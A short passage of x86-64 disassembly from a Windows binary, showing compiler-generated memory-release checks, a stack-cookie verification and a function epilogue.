jb 0x140001c25
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c20
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000521c
test ebx, ebx
jne 0x140001c2e
mov dil, 1
jmp 0x140001c38
mov rdx, rsi
mov ecx, ebx
call fcn.140001260
movzx eax, dil
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140005330
add rsp, 0x68
pop rdi
pop rsi
pop rbp
pop rbx
ret